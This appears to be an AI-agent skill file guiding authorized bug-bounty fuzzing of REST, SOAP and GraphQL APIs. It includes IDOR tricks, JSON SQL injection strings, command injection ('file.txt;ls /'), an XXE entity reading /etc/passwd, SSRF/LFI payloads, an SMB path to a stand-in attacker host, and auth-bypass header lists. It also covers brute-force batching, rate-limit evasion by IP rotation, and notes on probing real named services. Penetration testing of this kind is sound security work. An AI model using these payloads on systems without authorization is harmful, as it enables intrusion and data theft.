AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

---

API Types Overview

Type	Protocol	Data Format	Structure
SOAP	HTTP	XML	Header + Body
REST	HTTP	JSON/XML/URL	Defined endpoints
GraphQL	HTTP	Custom Query	Single endpoint

---

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

---

TEE-Protected API Breaking (ECIES + EIP-712)

For DEX/bridge APIs encrypting requests to Nitro/SGX enclaves, see references/tees-ecies-perps-dex.md.

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Tool	Purpose
GraphCrawler	Schema discovery
graphw00f	Fingerprinting
clairvoyance	Schema reconstruction
InQL	Burp extension
GraphQLmap	Exploitation

---

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

---

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

---

Common API Vulnerabilities Checklist

Vulnerability	Description
API Exposure	Unprotected endpoints exposed publicly
Misconfigured Caching	Sensitive data cached incorrectly
Exposed Tokens	API keys/tokens in responses or URLs
JWT Weaknesses	Weak signing, no expiration, algorithm confusion
IDOR / BOLA	Broken Object Level Authorization
Undocumented Endpoints	Hidden admin/debug endpoints
Different Versions	Security gaps in older API versions
Rate Limiting	Missing or bypassable rate limits
Race Conditions	TOCTOU vulnerabilities
XXE Injection	XML parser exploitation
Content Type Issues	Switching between JSON/XML
HTTP Method Tampering	GET→DELETE/PUT abuse

---

Quick Reference

Vulnerability	Test Payload	Risk
IDOR	Change user_id parameter	High
SQLi	' OR 1=1-- in JSON	Critical
Command Injection	; ls /	Critical
XXE	DOCTYPE with ENTITY	High
SSRF	Internal IP in params	High
Rate Limit Bypass	Batch requests	Medium
Method Tampering	GET→DELETE	High

---

Tools Reference

Category	Tool	URL
API Fuzzing	Fuzzapi	github.com/Fuzzapi/fuzzapi
API Fuzzing	API-fuzzer	github.com/Fuzzapi/API-fuzzer
API Fuzzing	Astra	github.com/flipkart-incubator/Astra
API Security	apicheck	github.com/BBVA/apicheck
API Discovery	Kiterunner	github.com/assetnote/kiterunner
API Discovery	openapi_security_scanner	github.com/ngalongc/openapi_security_scanner
API Toolkit	APIKit	github.com/API-Security/APIKit
API Keys	API Guesser	api-guesser.netlify.app
GUID	GUID Guesser	gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQL	InQL	github.com/doyensec/inql
GraphQL	GraphCrawler	github.com/gsmith257-cyber/GraphCrawler
GraphQL	graphw00f	github.com/dolevf/graphw00f
GraphQL	clairvoyance	github.com/nikitastupin/clairvoyance
GraphQL	batchql	github.com/assetnote/batchql
GraphQL	graphql-cop	github.com/dolevf/graphql-cop
Wordlists	SecLists	github.com/danielmiessler/SecLists
Swagger Parser	Swagger-EZ	rhinosecuritylabs.github.io/Swagger-EZ
Swagger Routes	swagroutes	github.com/amalmurali47/swagroutes
API Mindmap	MindAPI	dsopas.github.io/MindAPI/play
JSON Paths	json2paths	github.com/s0md3v/dump/tree/master/json2paths

---

Constraints

Must:

• Test mobile, web, and developer APIs separately
• Check all API versions (/v1, /v2, /v3)
• Validate both authenticated and unauthenticated access

Must Not:

• Assume same security controls across API versions
• Skip testing undocumented endpoints
• Ignore rate limiting checks

Should:

• Add X-Requested-With: XMLHttpRequest header to simulate frontend
• Check archive.org for historical API endpoints
• Test for race conditions on sensitive operations

---

Pre-Auth Endpoint Fingerprinting (Error-Code Differential)

Compare error codes across endpoints to find ones that skip auth checks:

Response pattern	Meaning	Action
12100 / "not logged in"	Auth gate fires first	Properly gated
100002 / param error / timeout	Param validation BEFORE auth	Priority target — find correct params
404 / empty	Wrong path	Move on
401 / 403	HTTP-layer auth gate	Properly gated

Hit every endpoint with garbage params. Endpoints returning param-validation errors (not auth errors) process requests before checking identity. Brute-force correct param shape from JS bundle analysis.

Real example (Tencent Docs): auth_exp/set and auth_getconf returned 100002 while siblings auth_info/get and set_user returned 12100. The 100002 endpoints process pre-auth.

JS Bundle API Mining

1. curl -sk <target> | grep -oE 'src="[^"]+\.js"' → download bundles
2. grep -oE '"[^"]*(/api/|/cgi-bin/|/v[0-9]/|/cgi-go/)[^"]*"' → endpoint paths
3. Search endpoint string ±500 chars → param names and shape
4. grep -oE '(xsrf|csrf|TOK|token).{0,100}' → CSRF token source
5. Test param name variants: padId, localPadId, pad_id, docId
6. grep -oE '(client_id|appid).{0,50}[0-9]{6,}' → OAuth config

Minified JS preserves paths and param names verbatim. Calling function reveals exact shape (FormData vs JSON, GET vs POST).

Named endpoint constants (high-value mining)

Minified bundles often define a single object of named route constants, e.g. users_polymarket_account:"/users/polymarket/account". Grepping this object reveals the FULL auth-gated surface in one shot — endpoints plain path-guessing never finds. This is how the whole Polymarket scope surfaced on Manic.trade:

# dump the whole route-constant object
grep -oE 'users_[a-z_]+:"/[^"]*"' chunk.js | sort -u
# or any prefix
grep -oE '[a-z_]+_auth[a-z_]*:"/[^"]*"' chunk.js | sort -u

Then probe each discovered path for auth status (401 vs 405 vs 200). A 405 (needs POST) vs 401 (missing auth) split tells you which are method-gated vs token-gated. Cross-check against the base URLs found in the same bundle (grep -oE 'https://[a-z0-9.-]*' *.js | sort -u) — /api/* paths may live on a DIFFERENT host than the one you're probing.

Auth-bypass matrix (when endpoints return 401)

When all sensitive endpoints return 401 Missing authorization, run this matrix before assuming a token is required — cheap and sometimes hits:

• Header spoof: X-Forwarded-For: 127.0.0.1, X-Original-URL, X-Rewrite-URL, X-Custom-IP-Authorization, X-Real-IP, X-Auth-Token, X-Api-Key, X-Access-Token
• Token tricks: Authorization: Bearer null, Bearer (empty), Basic YWRtaW46YWRtaW4=
• Method/path: X-HTTP-Method-Override, trailing slash, // double slash, /api/./x, %2e, case change, ; semicolon, ?x=1 query

If ALL return the same 401 Missing authorization header, auth is enforced server-side (likely a middleware) and you need a real token — pivot to the login/wallet flow. Don't keep fuzzing; the bypass isn't there. (Manic.trade: every technique returned identical 401 — Turnkey-custodial auth, no bypass.)

Batch Discipline (Context Management)

• Max 3-5 probes per terminal call
• Print only DIFF results (suppress baseline)
• head -c 150 on bodies, never dump full HTML/JS
• One batch = one hypothesis
• After 3-4 batches with no new signal → STOP, reassess strategy
• End session with negative results table: | Probe | Result | Severity |

Pitfalls

• Don't brute-force endlessly. After 3 batches with identical responses, the approach is wrong. Switch strategy (JS analysis, different param names, different content-type).
• retcode:0 with empty result ≠ success. Check nested response codes (e.g., result.code:1007 = user not login despite top-level retcode:0).
• WAF fingerprinting: Note which payload patterns trigger WAF (e.g., 501 responses) and avoid them in subsequent probes.
• Session tokens are random per session. Extract fresh xsrf/TOK from Set-Cookie each batch; never reuse across sessions.

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

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Troubleshooting

Issue	Solution
API returns nothing	Add X-Requested-With: XMLHttpRequest header
401 on all endpoints	Try adding ?user_id=1 parameter
GraphQL introspection disabled	Use clairvoyance for schema reconstruction
Rate limited	Use IP rotation or batch requests
Can't find endpoints	Check Swagger, archive.org, JS files

When to Use

This skill is applicable to execute the workflow or actions described in the overview.